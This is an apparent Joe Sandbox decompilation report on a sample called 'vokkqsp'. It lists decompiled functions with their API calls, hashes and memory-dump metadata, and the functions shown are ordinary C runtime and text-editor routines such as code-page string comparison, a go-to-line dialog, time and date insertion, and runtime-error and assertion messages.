Opcode ID: c5fc15a0cab97120ea7dec4c222a507ec7c49cbfb5a641e542bbf63bc817fd81
Instruction ID: c495887507ddd5099ba1b9cb16eed3f84042880c6aab386f23ec267f0fae7beb
Opcode Fuzzy Hash: c5fc15a0cab97120ea7dec4c222a507ec7c49cbfb5a641e542bbf63bc817fd81
Instruction Fuzzy Hash: C1212E7AB01130ABC721EF20FC89A5B77689B46760F650122ED05A7391D678ED21C6EA

Uniqueness

Uniqueness Score: -1.00%

Function 0043637F Relevance: 9.2, APIs: 6, Instructions: 248
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E0043637F(void* __ebx, void* __edi, void* __esi, signed int _a4, intOrPtr _a8, intOrPtr _a12, signed int _a16, intOrPtr _a20, intOrPtr* _a24, intOrPtr _a28, int _a32) {
				signed int _v8;
				char _v22;
				struct _cpinfo _v28;
				signed int _v32;
				intOrPtr* _v36;
				signed int _v40;
				intOrPtr _v44;
				void* _v56;
				signed int _t49;
				signed int _t61;
				signed int _t62;
				void* _t65;
				signed int _t66;
				signed int _t67;
				char* _t77;
				char* _t78;
				intOrPtr _t82;
				int _t84;
				intOrPtr* _t85;
				void* _t86;
				intOrPtr _t98;
				intOrPtr _t99;
				intOrPtr _t106;
				intOrPtr _t107;
				intOrPtr _t109;
				intOrPtr* _t111;
				void* _t112;
				intOrPtr* _t113;
				intOrPtr _t115;
				intOrPtr* _t118;
				signed int _t119;
				void* _t120;
				intOrPtr* _t122;
				void* _t123;
				intOrPtr* _t124;

				_t49 =  *0x44b018; // 0x1989d38f
				_v8 = _t49 ^ _t119;
				_t87 = _a24;
				_v40 = _a4;
				_t115 = _a20;
				_v44 = _a8;
				_t53 = _a16;
				_v32 = _a16;
				_v36 = _a24;
				if(_t115 <= 0) {
					if(_t115 < 0xffffffff) {
						goto L54;
					} else {
						goto L3;
					}
				} else {
					_t82 = E004362FE(_t53, _t115);
					_t87 = _v36;
					_t115 = _t82;
					L3:
					_t109 = _a28;
					if(_t109 <= 0) {
						if(_t109 < 0xffffffff) {
							goto L54;
						} else {
							goto L6;
						}
					} else {
						_t109 = E004362FE(_t87, _t109);
						_a28 = _t109;
						L6:
						_t84 = _a32;
						if(_t84 == 0) {
							_t84 =  *( *_v40 + 8);
							_a32 = _t84;
						}
						if(_t115 == 0 || _t109 == 0) {
							if(_t115 == _t109) {
								L61:
								_push(2);
								goto L23;
							} else {
								if(_t109 > 1) {
									L32:
								} else {
									if(_t115 > 1) {
										L22:
										_push(3);
										goto L23;
									} else {
										if(GetCPInfo(_t84,  &_v28) == 0) {
											goto L54;
										} else {
											if(_t115 <= 0) {
												if(_t109 <= 0) {
													goto L33;
												} else {
													if(_v28 >= 2) {
														_t77 =  &_v22;
														if(_v22 != 0) {
															_t113 = _v36;
															while(1) {
																_t98 =  *((intOrPtr*)(_t77 + 1));
																if(_t98 == 0) {
																	goto L32;
																}
																_t106 =  *_t113;
																if(_t106 <  *_t77 || _t106 > _t98) {
																	_t77 = _t77 + 2;
																	if( *_t77 != 0) {
																		continue;
																	} else {
																		goto L32;
																	}
																} else {
																	goto L61;
																}
																goto L55;
															}
														}
													}
													goto L32;
												}
											} else {
												if(_v28 >= 2) {
													_t78 =  &_v22;
													if(_v22 != 0) {
														_t118 = _v32;
														while(1) {
															_t99 =  *((intOrPtr*)(_t78 + 1));
															if(_t99 == 0) {
																goto L22;
															}
															_t107 =  *_t118;
															if(_t107 <  *_t78 || _t107 > _t99) {
																_t78 = _t78 + 2;
																if( *_t78 != 0) {
																	continue;
																} else {
																	goto L22;
																}
															} else {
																goto L61;
															}
															goto L23;
														}
													}
												}
												goto L22;
												L23:
											}
										}
									}
								}
							}
						} else {
							L33:
							_t61 = E0042555F(_t84, 9, _v32, _t115, 0, 0);
							_t122 = _t120 + 0x18;
							_v40 = _t61;
							if(_t61 == 0) {
								L54:
							} else {
								asm("sbb eax, eax");
								_t62 = _t61 & _t61 + _t61 + 0x00000008;
								if(_t62 == 0) {
									L60:
									_push(0);
									goto L59;
								} else {
									if(_t62 > 0x400) {
										_t85 = E00410766(_t62);
										if(_t85 == 0) {
											goto L60;
										} else {
											 *_t85 = 0xdddd;
											goto L40;
										}
									} else {
										E0043A3F0();
										_t85 = _t122;
										if(_t85 == 0) {
											goto L60;
										} else {
											 *_t85 = 0xcccc;
											L40:
											_t86 = _t85 + 8;
											if(_t86 == 0) {
												goto L60;
											} else {
												_t116 = _a32;
												_t65 = E0042555F(_a32, 1, _v32, _t115, _t86, _v40);
												_t123 = _t122 + 0x18;
												if(_t65 == 0) {
													L58:
													_push(_t86);
													L59:
													E004288C5();
													goto L53;
												} else {
													_t66 = E0042555F(_t116, 9, _v36, _t109, 0, 0);
													_t124 = _t123 + 0x18;
													_v32 = _t66;
													if(_t66 == 0) {
														goto L58;
													} else {
														asm("sbb eax, eax");
														_t67 = _t66 & _t66 + _t66 + 0x00000008;
														if(_t67 == 0) {
															L57:
															_push(0);
															goto L52;
														} else {
															if(_t67 > 0x400) {
																_t111 = E00410766(_t67);
																if(_t111 == 0) {
																	goto L57;
																} else {
																	 *_t111 = 0xdddd;
																	goto L49;
																}
															} else {
																E0043A3F0();
																_t111 = _t124;
																if(_t111 == 0) {
																	goto L57;
																} else {
																	 *_t111 = 0xcccc;
																	L49:
																	_t112 = _t111 + 8;
																	if(_t112 == 0) {
																		goto L57;
																	} else {
																		if(E0042555F(_t116, 1, _v36, _a28, _t112, _v32) != 0) {
																			E0042A747(_v44, _a12, _t86, _v40, _t112, _v32, 0, 0, 0);
																			E004288C5(_t112);
																			E004288C5(_t86);
																		} else {
																			_push(_t112);
																			L52:
																			E004288C5();
																			E004288C5(_t86);
																			L53:
																			goto L54;
																		}
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
				L55:
				return E0040361D(_v8 ^ _t119);
			}

0x00436387
0x0043638e
0x00436394
0x00436398
0x0043639f
0x004363a2
0x004363a5
0x004363a8
0x004363ab
0x004363b1
0x004363c6
0x00000000
0x00000000
0x00000000
0x00000000
0x004363b3
0x004363b5
0x004363bc
0x004363bf
0x004363cc
0x004363cc
0x004363d1
0x004363e6
0x00000000
0x00000000
0x00000000
0x00000000
0x004363d3
0x004363db
0x004363de
0x004363ec
0x004363ec
0x004363f1
0x004363f8
0x004363fb
0x004363fb
0x00436400
0x0043640c
0x00436617
0x00436617
0x00000000
0x00436412
0x00436415
0x004364a1
0x0043641b
0x0043641e
0x00436466
0x00436466
0x00000000
0x00436420
0x0043642d
0x00000000
0x00436433
0x00436435
0x00436470
0x00000000
0x00436472
0x00436476
0x0043647c
0x0043647f
0x00436481
0x00436484
0x00436484
0x00436489
0x00000000
0x00000000
0x0043648b
0x0043648f
0x00436499
0x0043649f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043648f
0x00436484
0x0043647f
0x00000000
0x00436476
0x00436437
0x0043643b
0x00436441
0x00436444
0x00436446
0x00436449
0x00436449
0x0043644e
0x00000000
0x00000000
0x00436450
0x00436454
0x0043645e
0x00436464
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00436454
0x00436449
0x00436444
0x00000000
0x00436468
0x00436468
0x00436435
0x0043642d
0x0043641e
0x00436415
0x004364a9
0x004364a9
0x004364b4
0x004364b9
0x004364bc
0x004364c1
0x004365c7
0x004364c7
0x004364cf
0x004364d1
0x004364d3
0x00436613
0x00436613
0x00000000
0x004364d9
0x004364de
0x004364fd
0x00436502
0x00000000
0x00436508
0x00436508
0x00000000
0x00436508
0x004364e0
0x004364e0
0x004364e5
0x004364e9
0x00000000
0x004364ef
0x004364ef
0x0043650e
0x0043650e
0x00436513
0x00000000
0x00436519
0x00436521
0x00436527
0x0043652c
0x00436531
0x0043660b
0x0043660b
0x0043660c
0x0043660c
0x00000000
0x00436537
0x00436543
0x00436548
0x0043654b
0x00436550
0x00000000
0x00436556
0x0043655e
0x00436560
0x00436562
0x00436607
0x00436607
0x00000000
0x00436568
0x0043656d
0x0043658c
0x00436591
0x00000000
0x00436593
0x00436593
0x00000000
0x00436593
0x0043656f
0x0043656f
0x00436574
0x00436578
0x00000000
0x0043657e
0x0043657e
0x00436599
0x00436599
0x0043659e
0x00000000
0x004365a0
0x004365b7
0x004365ee
0x004365f6
0x004365fc
0x004365b9
0x004365b9
0x004365ba
0x004365ba
0x004365c0
0x004365c6
0x00000000
0x004365c6
0x004365b7
0x0043659e
0x00436578
0x0043656d
0x00436562
0x00436550
0x00436531
0x00436513
0x004364e9
0x004364de
0x004364d3
0x004364c1
0x00436400
0x004363d1
0x004365c9
0x004365da

APIs

GetCPInfo.KERNEL32(00691B48,00691B48,?,7FFFFFFF,?,0043664F,00691B48,00691B48,?,00691B48,?,?,?,?,00691B48,?), ref: 00436425
__freea.LIBCMT ref: 004365BA
__freea.LIBCMT ref: 004365C0
__freea.LIBCMT ref: 004365F6
__freea.LIBCMT ref: 004365FC
__freea.LIBCMT ref: 0043660C

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: __freea$Info
String ID:
API String ID: 541289543-0
Opcode ID: e6968597c6359ecdffc9c25be2ab6ba7af36522f211eb4fb76767b5cfe3cf14f
Instruction ID: f0084c9f04dfe312fb480d8817387531af07212ab4001156bd640ad54b14c503
Opcode Fuzzy Hash: e6968597c6359ecdffc9c25be2ab6ba7af36522f211eb4fb76767b5cfe3cf14f
Instruction Fuzzy Hash: DC71E372A00206BBDF209B549C42BAF7BA99F4D314F26906BE904A7281D63DDD448B6D

Uniqueness

Uniqueness Score: -1.00%

Function 00404060 Relevance: 9.1, APIs: 6, Instructions: 60
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00404060(void* __ecx) {
				void* _t4;
				void* _t11;
				long _t25;
				void* _t28;

				if( *0x44b020 != 0xffffffff) {
					_t25 = GetLastError();
					_t11 = E0040461D(__eflags,  *0x44b020);
					__eflags = _t11 - 0xffffffff;
					if(_t11 == 0xffffffff) {
						L5:
						_t11 = 0;
					} else {
						__eflags = _t11;
						if(__eflags == 0) {
							_t4 = E00404657(__eflags,  *0x44b020, 0xffffffff);
							__eflags = _t4;
							if(_t4 != 0) {
								_t28 = E004108CD(1, 0x28);
								__eflags = _t28;
								if(__eflags == 0) {
									L8:
									_t11 = 0;
									E00404657(__eflags,  *0x44b020, 0);
								} else {
									__eflags = E00404657(__eflags,  *0x44b020, _t28);
									if(__eflags != 0) {
										_t11 = _t28;
										_t28 = 0;
										__eflags = 0;
									} else {
										goto L8;
									}
								}
								E0041072C(_t28);
							} else {
								goto L5;
							}
						}
					}
					SetLastError(_t25);
					return _t11;
				} else {
					return 0;
				}
			}

0x00404067
0x0040407a
0x00404081
0x00404084
0x00404087
0x004040a0
0x004040a0
0x00404089
0x00404089
0x0040408b
0x00404095
0x0040409c
0x0040409e
0x004040ae
0x004040b2
0x004040b4
0x004040c8
0x004040c8
0x004040d1
0x004040b6
0x004040c4
0x004040c6
0x004040da
0x004040dc
0x004040dc
0x00000000
0x00000000
0x00000000
0x004040c6
0x004040df
0x00000000
0x00000000
0x00000000
0x0040409e
0x0040408b
0x004040e7
0x004040f1
0x00404069
0x0040406b
0x0040406b

APIs

GetLastError.KERNEL32(?,?,00404057,0043BADB,00448A50,00000010,0043AF2B,?,?,?,?,?,00000000,?), ref: 0040406E
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0040407C
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00404095
SetLastError.KERNEL32(00000000,00404057,0043BADB,00448A50,00000010,0043AF2B,?,?,?,?,?,00000000,?), ref: 004040E7

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: a9e9ea3cb9a0922dae9a8cd73f523814c2df150902ef322e7f9fa40bfe1846b1
Instruction ID: 2dacca0b92dd3963113c1c3b7fd9c75c4c3ec850a0e77d5f80cd3188d3d61504
Opcode Fuzzy Hash: a9e9ea3cb9a0922dae9a8cd73f523814c2df150902ef322e7f9fa40bfe1846b1
Instruction Fuzzy Hash: 9701D2B66093155AE6242BB66C856672694DB9637AB20023BF334711F0FF7E4C14518C

Uniqueness

Uniqueness Score: -1.00%

Function 0040240F Relevance: 9.1, APIs: 6, Instructions: 55
windowCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E0040240F(struct HWND__* _a4, intOrPtr _a8, intOrPtr _a12) {
				void* _t7;
				void* _t14;

				_t7 = _a8 - 0x110;
				if(_t7 == 0) {
					SetDlgItemInt(_a4, 0x194, SendMessageW( *0x44cf0c, 0xc9, 0xffffffff, 0) + 1, 0);
					L8:
					return 0;
				}
				if(_t7 != 1) {
					goto L8;
				}
				_t14 = _a12 - 1;
				if(_t14 == 0) {
					SendMessageW( *0x44cf0c, 0xb1, SendMessageW( *0x44cf0c, 0xbb, GetDlgItemInt(_a4, 0x194, 0, 0) - 1, 0), _t17);
					_push(1);
					L6:
					EndDialog(_a4, ??);
					return 1;
				}
				if(_t14 != 1) {
					goto L8;
				}
				_push(2);
				goto L6;
			}

0x00402416
0x0040241b
0x0040249b
0x004024a1
0x00000000
0x004024a1
0x00402420
0x00000000
0x00000000
0x00402425
0x00402428
0x00402468
0x0040246a
0x0040246c
0x0040246f
0x00000000
0x00402477
0x0040242d
0x00000000
0x00000000
0x0040242f
0x00000000

APIs

GetDlgItemInt.USER32(?,00000194,00000000,00000000), ref: 0040243F
SendMessageW.USER32(000000BB,-00000001,00000000), ref: 00402459
SendMessageW.USER32(000000B1,00000000,00000000), ref: 00402468
EndDialog.USER32(?,00000001), ref: 0040246F
SendMessageW.USER32(000000C9,000000FF,00000000), ref: 0040248A
SetDlgItemInt.USER32(?,00000194,00000001,00000000), ref: 0040249B

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: MessageSend$Item$Dialog
String ID:
API String ID: 781181374-0
Opcode ID: d9e1b6455d3016b4438351d859a46f1875cd9f7595146534d7716de678b97a0b
Instruction ID: f5ae7b7dac5739a0e10782adf3cceccd30725a17cae54bf31fd5568e2a8e52cb
Opcode Fuzzy Hash: d9e1b6455d3016b4438351d859a46f1875cd9f7595146534d7716de678b97a0b
Instruction Fuzzy Hash: 5E0171352412247FEB201F65DD0DEA73F59EB06B70F004231BE19A51F0C3B98C50DA95

Uniqueness

Uniqueness Score: -1.00%

Function 00401E6F Relevance: 9.1, APIs: 6, Instructions: 53
windowtimeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401E6F() {
				struct _SYSTEMTIME _v20;
				void* _v532;

				GetLocalTime( &_v20);
				GetTimeFormatW(0x400, 2,  &_v20, 0,  &_v532, 0xff);
				SendMessageW( *0x44cf0c, 0xc2, 1,  &_v532);
				SendMessageW( *0x44cf0c, 0xc2, 1, " ");
				GetDateFormatW(0x400, 0,  &_v20, 0,  &_v532, 0xff);
				return SendMessageW( *0x44cf0c, 0xc2, 1,  &_v532);
			}

0x00401e7f
0x00401e9f
0x00401ec0
0x00401ed0
0x00401ee7
0x00401f05

APIs

GetLocalTime.KERNEL32(00000000,000000C2,775DBB20,00447ADC), ref: 00401E7F
GetTimeFormatW.KERNEL32(00000400,00000002,00000000,00000000,?,000000FF), ref: 00401E9F
SendMessageW.USER32(000000C2,00000001,?), ref: 00401EC0
SendMessageW.USER32(000000C2,00000001,00447B0C), ref: 00401ED0
GetDateFormatW.KERNEL32(00000400,00000000,00000000,00000000,?,000000FF), ref: 00401EE7
SendMessageW.USER32(000000C2,00000001,?), ref: 00401EFD

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: MessageSend$FormatTime$DateLocal
String ID:
API String ID: 3786825601-0
Opcode ID: f2682ccc0fb36653fa59daf2144d6dd2143246e3d59cafa4658acd0ea3ab1f06
Instruction ID: dc25e6cb7782769b4c61a2e7e208b4cca158996668bc2b03ed7b4c5223bcaf20
Opcode Fuzzy Hash: f2682ccc0fb36653fa59daf2144d6dd2143246e3d59cafa4658acd0ea3ab1f06
Instruction Fuzzy Hash: B0018875A8021D7BEB20DB91EC89FFB7B3CEB45B00F440476BB04A60D0E3B169498B64

Uniqueness

Uniqueness Score: -1.00%

Function 0040CD3E Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E0040CD3E(void* __ebx, void* __esi, void* __eflags, intOrPtr _a4) {
				signed short* _v0;
				signed int _v8;
				signed int _v12;
				char _v13;
				void _v512;
				long _v516;
				void* __edi;
				signed int _t17;
				signed int _t27;
				char* _t32;
				signed short* _t35;
				void* _t36;
				void* _t37;
				signed int _t40;
				signed int _t43;

				_t36 = __esi;
				_t40 = _t43;
				if(E0042295C(3) == 1 || __eax == 0 &&  *0x44c038 == 1) {
					_pop(_t40);
					_push(_t40);
					_t41 = _t43;
					_t17 =  *0x44b018; // 0x1989d38f
					_v8 = _t17 ^ _t43;
					_push(_t36);
					_t37 = GetStdHandle(0xfffffff4);
					if(_t37 != 0 && _t37 != 0xffffffff) {
						_t35 = _v0;
						_t32 =  &_v512;
						while(1) {
							 *_t32 =  *_t35;
							_t32 = _t32 + 1;
							if(_t32 ==  &_v12) {
								break;
							}
							_t27 =  *_t35 & 0x0000ffff;
							_t35 =  &(_t35[1]);
							if(_t27 != 0) {
								continue;
							}
							break;
						}
						_v13 = 0;
						_v516 = 0;
						WriteFile(_t37,  &_v512, _t32 -  &_v512 - 1,  &_v516, 0);
					}
					return E0040361D(_v12 ^ _t41);
				} else {
					_push(__esi);
					__eax = E00422A82(0x44c040, 0x314, L"Runtime Error!\n\nProgram: ");
					__ebx = 0;
					if(__eax != 0) {
						L21:
						__eax = E0041F197();
						asm("int3");
						__eax =  *0x44c038; // 0x1
						return __eax;
					} else {
						_push(__edi);
						__esi = 0x44c072;
						 *0x44c27a = __ax;
						__eax = GetModuleFileNameW(0, 0x44c072, 0x104);
						__edi = 0x2fb;
						if(__eax != 0 || E00422A82(0x44c072, 0x2fb, L"<program name unknown>") == 0) {
							_t10 = __esi + 2; // 0x44c074
							__ecx = _t10;
							do {
								__ax =  *__esi;
								__esi = __esi + 2;
							} while (__ax != __bx);
							__esi = __esi - __ecx;
							__esi = __esi >> 1;
							_t11 = __esi + 1; // 0x44c071
							__eax = _t11;
							if(_t11 <= 0x3c) {
								L17:
								_push(L"\n\n");
								__edi = 0x314;
								__esi = 0x44c040;
								_push(0x314);
								if(E00422A13(0x44c040) != 0) {
									goto L21;
								} else {
									_push(_a4);
									__eax = E00422A13(0x44c040);
									__edi = 0x314;
									if(__eax != 0) {
										goto L21;
									} else {
										_push(L"Microsoft Visual C++ Runtime Library");
										__eax = E004231DC(__ecx, 0x314, 0x44c040);
										_pop(__esi);
										__ebx = 0x12010;
										return __eax;
									}
								}
							} else {
								_push(3);
								_t12 = __esi - 0x3b; // 0x44c035
								__eax = _t12;
								__edi = __edi - __eax;
								__eax =  &(0x44c072[__eax]);
								if(__eax != 0) {
									goto L21;
								} else {
									goto L17;
								}
							}
						} else {
							goto L21;
						}
					}
				}
			}

0x0040cd3e
0x0040cd41
0x0040cd4e
0x0040ce42
0x0040ccc5
0x0040ccc6
0x0040ccce
0x0040ccd5
0x0040ccd8
0x0040cce1
0x0040cce5
0x0040ccec
0x0040ccef
0x0040ccf5
0x0040ccf7
0x0040ccf9
0x0040ccff
0x00000000
0x00000000
0x0040cd01
0x0040cd04
0x0040cd0a
0x00000000
0x00000000
0x00000000
0x0040cd0a
0x0040cd0f
0x0040cd12
0x0040cd2b
0x0040cd2b
0x0040cd3d
0x0040cd65
0x0040cd66
0x0040cd76
0x0040cd7e
0x0040cd82
0x0040ce48
0x0040ce4d
0x0040ce52
0x0040ce53
0x0040ce58
0x0040cd88
0x0040cd88
0x0040cd8e
0x0040cd93
0x0040cd9b
0x0040cda1
0x0040cda8
0x0040cdc1
0x0040cdc1
0x0040cdc4
0x0040cdc4
0x0040cdc7
0x0040cdca
0x0040cdcf
0x0040cdd1
0x0040cdd3
0x0040cdd3
0x0040cdd9
0x0040cdfc
0x0040cdfc
0x0040ce01
0x0040ce06
0x0040ce0b
0x0040ce17
0x00000000
0x0040ce19
0x0040ce19
0x0040ce1e
0x0040ce26
0x0040ce29
0x00000000
0x0040ce2b
0x0040ce30
0x0040ce36
0x0040ce3e
0x0040ce3f
0x0040ce41
0x0040ce41
0x0040ce29
0x0040cddb
0x0040cddb
0x0040cddd
0x0040cddd
0x0040cde0
0x0040cde2
0x0040cdfa
0x00000000
0x00000000
0x00000000
0x00000000
0x0040cdfa
0x00000000
0x00000000
0x00000000
0x0040cda8
0x0040cd82

APIs

GetModuleFileNameW.KERNEL32(00000000,0044C072,00000104), ref: 0040CD9B

Strings

<program name unknown>, xrefs: 0040CDAA
Microsoft Visual C++ Runtime Library, xrefs: 0040CE30
Runtime Error!Program: , xrefs: 0040CD67
..., xrefs: 0040CDE9

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: FileModuleName
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 514040917-4022980321
Opcode ID: a6a661e817b794875b2a05743700af23db32c85d893ec53d4f1322b1ac2d334d
Instruction ID: 68def1388441484c73e711570d3b26f3fa155b047adb47154ab7ea5044f43d33
Opcode Fuzzy Hash: a6a661e817b794875b2a05743700af23db32c85d893ec53d4f1322b1ac2d334d
Instruction Fuzzy Hash: BF21F832B40211B2E6311766ACC6FAB265C4BA1758F540137FC08B22D1F6BDCA51C1DD

Uniqueness

Uniqueness Score: -1.00%

Function 00422D8F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00422D8F(intOrPtr* _a4, intOrPtr _a8, void* _a12, char _a16) {
				void* _t15;
				void* _t16;
				intOrPtr _t18;
				intOrPtr _t38;
				intOrPtr* _t40;
				intOrPtr _t41;

				_t40 = _a4;
				if(_t40 != 0) {
					if( *_t40 != 0) {
						_t7 =  &_a16; // 0x42305e
						_t15 = E00425640( *_t7, 0, _t40, 0xffffffff, 0, 0, 0, 0);
						if(_t15 != 0) {
							_t38 = _a8;
							if(_t15 <=  *((intOrPtr*)(_t38 + 0xc))) {
								L10:
								_t16 = E00424631(_a16, _t40,  *((intOrPtr*)(_t38 + 8)),  *((intOrPtr*)(_t38 + 0xc)));
								if(_t16 != 0) {
									 *((intOrPtr*)(_t38 + 0x10)) = _t16 - 1;
									_t18 = 0;
								} else {
									E00420DE2(GetLastError());
									_t18 =  *((intOrPtr*)(E00420E3C()));
								}
								L13:
								L14:
								return _t18;
							}
							_t18 = E00422F73(_t38, _t15);
							if(_t18 != 0) {
								goto L13;
							}
							goto L10;
						}
						E00420DE2(GetLastError());
						_t18 =  *((intOrPtr*)(E00420E3C()));
						goto L14;
					}
					_t41 = _a8;
					if( *((intOrPtr*)(_t41 + 0xc)) != 0) {
						L5:
						 *((char*)( *((intOrPtr*)(_t41 + 8)))) = 0;
						_t18 = 0;
						 *((intOrPtr*)(_t41 + 0x10)) = 0;
						goto L14;
					}
					_t18 = E00422F73(_t41, 1);
					if(_t18 != 0) {
						goto L14;
					}
					goto L5;
				}
				E00422FAB(_a8);
				return 0;
			}

0x00422d95
0x00422d9a
0x00422db1
0x00422de0
0x00422de3
0x00422ded
0x00422e06
0x00422e0c
0x00422e1a
0x00422e27
0x00422e2e
0x00422e47
0x00422e4a
0x00422e30
0x00422e37
0x00422e42
0x00422e42
0x00422e4c
0x00422e4d
0x00000000
0x00422e4d
0x00422e11
0x00422e18
0x00000000
0x00000000
0x00000000
0x00422e18
0x00422df6
0x00422e01
0x00000000
0x00422e01
0x00422db3
0x00422db9
0x00422dcc
0x00422dcf
0x00422dd1
0x00422dd3
0x00000000
0x00422dd3
0x00422dbf
0x00422dc6
0x00000000
0x00000000
0x00000000
0x00422dc6
0x00422d9f
0x00000000

Strings

^0B, xrefs: 00422DE0

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID:
String ID: ^0B
API String ID: 0-3740781799
Opcode ID: 91dd452d3aaf18ad5defc7c4a8e5ecc7aaa466805838911f4557f7d511513cc9
Instruction ID: 26c99d5c7b0f604a403eb5aa3cd78f8aafc16a3555fb603922295af8ab982944
Opcode Fuzzy Hash: 91dd452d3aaf18ad5defc7c4a8e5ecc7aaa466805838911f4557f7d511513cc9
Instruction Fuzzy Hash: BC21D431300625BFCB10AF62EE8196B77A8EF40328792452AF915D7221D778EC51D768

Uniqueness

Uniqueness Score: -1.00%

Function 0040C84F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 64
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E0040C84F(void* __ebx, void* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v8;
				void _v1160;
				long _v1164;
				signed int _t12;
				intOrPtr _t19;
				intOrPtr _t26;
				intOrPtr* _t30;
				void* _t33;
				intOrPtr _t35;
				void* _t39;
				signed int _t44;

				_t42 = _t44;
				_t12 =  *0x44b018; // 0x1989d38f
				_v8 = _t12 ^ _t44;
				_t26 = _a8;
				_t35 = _a4;
				_t39 = GetStdHandle(0xfffffff4);
				if(_t39 == 0xffffffff || _t39 == 0 || GetFileType(_t39) != 2 || swprintf( &_v1160, 0x240, L"Assertion failed: %Ts, file %Ts, line %d\n", _t35, _t26, _a12) < 0) {
					L7:
					return E0040361D(_v8 ^ _t42);
				} else {
					_t30 =  &_v1160;
					_t33 = _t30 + 2;
					do {
						_t19 =  *_t30;
						_t30 = _t30 + 2;
					} while (_t19 != 0);
					_v1164 = 0;
					_t32 = _t30 - _t33 >> 1;
					if(WriteConsoleW(_t39,  &_v1160, _t30 - _t33 >> 1,  &_v1164, 0) != 0) {
						E00410889(_t26, _t32, _t33, 0, _t39);
						asm("int3");
						return "Assertion failed: %Ts, file %Ts, line %d\n";
					} else {
						goto L7;
					}
				}
			}

0x0040c852
0x0040c85a
0x0040c861
0x0040c865
0x0040c86a
0x0040c875
0x0040c87a
0x0040c8e9
0x0040c8f7
0x0040c8ae
0x0040c8ae
0x0040c8b6
0x0040c8b9
0x0040c8b9
0x0040c8bc
0x0040c8bf
0x0040c8c7
0x0040c8d3
0x0040c8e7
